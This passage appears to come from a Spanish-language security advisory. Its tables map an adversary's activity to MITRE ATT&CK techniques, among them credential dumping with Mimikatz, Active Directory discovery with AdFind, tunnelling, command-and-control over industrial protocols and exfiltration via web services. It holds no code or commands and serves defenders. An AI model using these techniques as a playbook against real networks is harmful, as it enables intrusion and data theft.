Proxy	T1090	Los agentes utilizan un proxy de conexión para dirigir el tráfico de red entre sistemas o actúan como intermediarios para las comunicaciones de red a un servidor de comando y control con el fin de evitar conexiones directas a su infraestructura.
Datos recopilados en el archivo	T1560	Los agentes comprimen o cifran los datos que se recopilan antes de la filtración.
Tunelización de protocolos	T1572	Los agentes tunelizan las comunicaciones de red hacia y desde el sistema de la víctima dentro de un protocolo separado para evitar la detección, el filtrado de red o permitir el acceso a sistemas que de otro modo serían inalcanzables.
Desarrollo de capacidades: programas malignos	T1587.001	Los agentes desarrollan programas malignos y componentes de dichos programas que pueden utilizarse durante los ataques.
Desarrollo de capacidades: vulnerabilidades de seguridad	T1587.004	Los agentes desarrollan vulnerabilidades de seguridad que pueden utilizarse durante los ataques.

Tabla 5: Programas utilizados para el desarrollo de recursos, herramientas y herramientas de acceso remoto

Título del programa	Identificación	Uso
Mimikatz	S0002	Los agentes utilizan un volcador de credenciales capaz de obtener en texto plano los nombres de inicio y las contraseñas de cuentas de Windows, junto con otras muchas funciones que lo hacen útil para probar la seguridad de las redes.
AdFind	S0552	Los agentes utilizan una herramienta de consulta de líneas de comandos gratuita que se puede utilizar para recopilar información de Active Directory.

Tabla 6: Acceso inicial

Título de la técnica	Identificación	Uso
Explotación de aplicaciones públicas	T1190	Los agentes intentan explotar una debilidad en un servidor o sistema orientado a Internet para acceder inicialmente a una red.

Tabla 7: Ejecución

Título de la técnica	Identificación	Uso
Intérprete de comandos y scripting	T1059	Los agentes abusan de los intérpretes de comandos y secuencias de comandos para ejecutar comandos, secuencias de comandos o binarios.

Tabla 8: Evasión de defensa

Título de la técnica	Identificación	Uso
Información o archivos ofuscados	T1027	Los agentes intentan hacer que un ejecutable o archivo sea difícil de descubrir o analizar mediante el cifrado, la codificación o la ofuscación de su contenido en el sistema o en tránsito.

Tabla 9: Acceso a credenciales

Título de la técnica	Identificación	Uso
Volcado de credenciales de OS	T1003	Los agentes intentan volcar las credenciales para obtener material de inicio de sesión y credenciales de la cuenta, normalmente en forma de hash o contraseña en texto claro, del sistema operativo y el programa.

Tabla 10. Descubrimiento y movimiento lateral

Título de la técnica	Identificación	Uso
Servicios remotos	T1021	Los agentes utilizan cuentas válidas para iniciar sesión en un servicio que acepta conexiones remotas, como Telnet, SSH y VNC.
Servicios remotos: recursos compartidos de SMB/Windows	T1021.002	Los agentes utilizan cuentas válidas para interactuar con un recurso compartido de red remoto mediante Server Message Block (SMB).
Descubrimiento de archivos y directorios	T1083	Los agentes enumeran archivos y directorios o pueden buscar en ubicaciones específicas de un servidor o recurso compartido de red cierta información dentro de un sistema de archivos.
Descubrimiento de cuentas	T1087	Los agentes intentan obtener una lista de cuentas, nombres de usuario o direcciones de correo electrónico válidos en un sistema o dentro de un entorno comprometido.

Tabla 11. Comando y control

Título de la técnica	Identificación	Uso
Protocolo de capa de aplicaciones	T1071	Los agentes establecen capacidades de comando y control a través de protocolos de capa de aplicación de uso común, como HTTP(S), OPC, Telnet, DNP3 y Modbus.
Proxy	T1090	Los agentes utilizan un proxy de conexión para dirigir el tráfico de red entre sistemas o actúan como intermediarios para las comunicaciones de red.

Tabla 12. Recolección y exfiltración

Título de la técnica	Identificación	Uso
Datos de la unidad compartida de red	T1039	Los agentes buscan recursos compartidos de red en las computadoras que atacaron para encontrar archivos de interés.

Título de la técnica	Identificación	Uso
Exfiltración por protocolo alternativo	T1048	Los agentes roban datos filtrándolos a través de un protocolo diferente al del servidor de comando y control existente.
Datos recopilados en el archivo	T1560	Los agentes comprimen o cifran los datos que se recopilan antes de la filtración.
Filtración a través de servicios web	T1567	Los agentes utilizan un servicio web externo legítimo y existente para filtrar datos en lugar de su canal principal de comando y control.